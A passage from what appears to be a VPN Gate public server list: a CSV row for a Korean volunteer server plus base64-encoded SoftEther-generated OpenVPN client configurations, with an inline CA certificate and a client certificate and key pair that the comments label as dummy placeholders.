CnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn962288023,222.112.146.165,1032177,27,88687835,Korea Republic of,KR,20,320446195,2496,175453570671,2weeks,DESKTOP-1I5TVA0's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjIuMTEyLjE0Ni4xNjUgMTcyNg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEU